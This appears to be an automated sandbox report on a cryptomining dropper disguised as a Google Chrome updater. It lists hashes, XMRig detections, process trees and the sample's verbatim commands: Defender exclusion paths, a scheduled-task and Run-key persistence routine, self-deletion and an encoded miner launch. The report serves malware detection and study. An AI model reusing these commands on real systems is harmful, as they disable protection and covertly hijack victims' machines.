Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
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max time kernel
426s -
max time network
1800s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
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Target
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2496 created 1068 2496 DLKFnAGYJBNTnxwq.exe 1 PID 2496 created 1068 2496 DLKFnAGYJBNTnxwq.exe 1 PID 2496 created 1068 2496 DLKFnAGYJBNTnxwq.exe 1 PID 2496 created 1068 2496 DLKFnAGYJBNTnxwq.exe 1 PID 3000 created 1068 3000 updater.exe 1 PID 3000 created 1068 3000 updater.exe 1 PID 3000 created 1068 3000 updater.exe 1 PID 3000 created 1068 3000 updater.exe 1 PID 2036 created 1068 2036 conhost.exe 1 PID 3000 created 1068 3000 updater.exe 1 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral9/memory/2636-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2636-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2592 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 3000 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2840 taskeng.exe -
resource yara_rule behavioral9/memory/2636-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2636-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3000 set thread context of 2036 3000 updater.exe 43 PID 3000 set thread context of 2636 3000 updater.exe 45 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe DLKFnAGYJBNTnxwq.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2664 schtasks.exe 2536 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1692 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a00e0ae99e51da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2496 DLKFnAGYJBNTnxwq.exe 2496 DLKFnAGYJBNTnxwq.exe 2484 powershell.exe 2496 DLKFnAGYJBNTnxwq.exe 2496 DLKFnAGYJBNTnxwq.exe 2800 powershell.exe 2496 DLKFnAGYJBNTnxwq.exe 2496 DLKFnAGYJBNTnxwq.exe 2496 DLKFnAGYJBNTnxwq.exe 2496 DLKFnAGYJBNTnxwq.exe 2112 powershell.exe 3000 updater.exe 3000 updater.exe 764 powershell.exe 3000 updater.exe 3000 updater.exe 1540 powershell.exe 3000 updater.exe 3000 updater.exe 3000 updater.exe 3000 updater.exe 2036 conhost.exe 2036 conhost.exe 3000 updater.exe 3000 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2484 powershell.exe Token: SeDebugPrivilege 2800 powershell.exe Token: SeDebugPrivilege 2112 powershell.exe Token: SeDebugPrivilege 764 powershell.exe Token: SeDebugPrivilege 1540 powershell.exe Token: SeDebugPrivilege 3000 updater.exe Token: SeAssignPrimaryTokenPrivilege 1692 WMIC.exe Token: SeIncreaseQuotaPrivilege 1692 WMIC.exe Token: SeSecurityPrivilege 1692 WMIC.exe Token: SeTakeOwnershipPrivilege 1692 WMIC.exe Token: SeLoadDriverPrivilege 1692 WMIC.exe Token: SeSystemtimePrivilege 1692 WMIC.exe Token: SeBackupPrivilege 1692 WMIC.exe Token: SeRestorePrivilege 1692 WMIC.exe Token: SeShutdownPrivilege 1692 WMIC.exe Token: SeSystemEnvironmentPrivilege 1692 WMIC.exe Token: SeUndockPrivilege 1692 WMIC.exe Token: SeManageVolumePrivilege 1692 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1692 WMIC.exe Token: SeIncreaseQuotaPrivilege 1692 WMIC.exe Token: SeSecurityPrivilege 1692 WMIC.exe Token: SeTakeOwnershipPrivilege 1692 WMIC.exe Token: SeLoadDriverPrivilege 1692 WMIC.exe Token: SeSystemtimePrivilege 1692 WMIC.exe Token: SeBackupPrivilege 1692 WMIC.exe Token: SeRestorePrivilege 1692 WMIC.exe Token: SeShutdownPrivilege 1692 WMIC.exe Token: SeSystemEnvironmentPrivilege 1692 WMIC.exe Token: SeUndockPrivilege 1692 WMIC.exe Token: SeManageVolumePrivilege 1692 WMIC.exe Token: SeLockMemoryPrivilege 2636 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2800 wrote to memory of 2664 2800 powershell.exe 30 PID 2800 wrote to memory of 2664 2800 powershell.exe 30 PID 2800 wrote to memory of 2664 2800 powershell.exe 30 PID 2592 wrote to memory of 3008 2592 cmd.exe 32 PID 2592 wrote to memory of 3008 2592 cmd.exe 32 PID 2592 wrote to memory of 3008 2592 cmd.exe 32 PID 2112 wrote to memory of 2828 2112 powershell.exe 35 PID 2112 wrote to memory of 2828 2112 powershell.exe 35 PID 2112 wrote to memory of 2828 2112 powershell.exe 35 PID 2840 wrote to memory of 3000 2840 taskeng.exe 33 PID 2840 wrote to memory of 3000 2840 taskeng.exe 33 PID 2840 wrote to memory of 3000 2840 taskeng.exe 33 PID 1540 wrote to memory of 2536 1540 powershell.exe 51 PID 1540 wrote to memory of 2536 1540 powershell.exe 51 PID 1540 wrote to memory of 2536 1540 powershell.exe 51 PID 3000 wrote to memory of 2036 3000 updater.exe 43 PID 1032 wrote to memory of 1692 1032 cmd.exe 46 PID 1032 wrote to memory of 1692 1032 cmd.exe 46 PID 1032 wrote to memory of 1692 1032 cmd.exe 46 PID 3000 wrote to memory of 2636 3000 updater.exe 45 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1068
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2496
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2484
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2592
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2800
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2036
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2636
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1032
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2044
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1540
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:764
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"1⤵
- Creates scheduled task(s)
PID:2664
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:3008
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3000
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C:\Windows\system32\taskeng.exetaskeng.exe {B5D8D339-5367-47B2-BDD0-4717FA18F29C} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2840
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:2828
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1692
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"1⤵
- Creates scheduled task(s)
PID:2536
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
361KB
MD54031ca3424a0cd802b901b1dd3c2cf6d
SHA13c037847dfb69b9d151b307fc7fa8ef0621960f5
SHA256cd5b3a821b766cb7ec044987af8c7c2d33732bed0e4d39a2f3d9eecdf6140189
SHA5127516b019b06417137dbf26f1da7280072ccc7cf6f29aa85f9520b88dddcad814aae3e49611e5154bf53320bf76e7d1ae34241ce4cc6485906bce4e88ebcd8966
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Filesize
51KB
MD5eb4d234f99d38f7a3d6e405a62dd1550
SHA110d9d405a532138860d8f5fb8c7269ac0197b631
SHA25646881f9a6274089637bd17494c36c73edce35b60b137c54cb754edcce85fb47c
SHA5124a80406386d57cfbade9f9b6f0951bdabfa51624d2dd82419fc630333e5f79eb17c3964668ecebb1ef2ef017c2546428b000342317e5ad308fe74ed0aed73d2a
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\THP3O7ZN7F5VGQ3SEPKE.temp
Filesize7KB
MD577dcdbb5b72bbbe67252f3302559b0cf
SHA1141390959b37537e9dd32e2513a96318d23b1bd7
SHA2568e8d887acd1fca0e65e3c7261aa8f8f7101cd6ec9d9def099831d4cdcb5b5a30
SHA512e50b338318dacb5b1ddd41f8c1473806e16355ff79632e52659dbaddba059eea5555ab92191c36fcf92382d6a49a33005224d2b9cb3aa2faa720ed1e1cdc076d
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Filesize
260KB
MD5cbcd0d812fa8bcb8507d2be4a8d24f4d
SHA19abe2e69e184f051071652e40f43872c62f59687
SHA2560118d4b1f2e67afc3bec0cb0d676f4c46213cb88a5b0e67b3fe6569e023fa497
SHA512381a69583d424b2872438f385ec1d3fe248a512ed9872fbc0da03ea813b846ae1dc0001eb085295d32154d49d7773ce7cadabead0e4605b2a108eb97227f03c2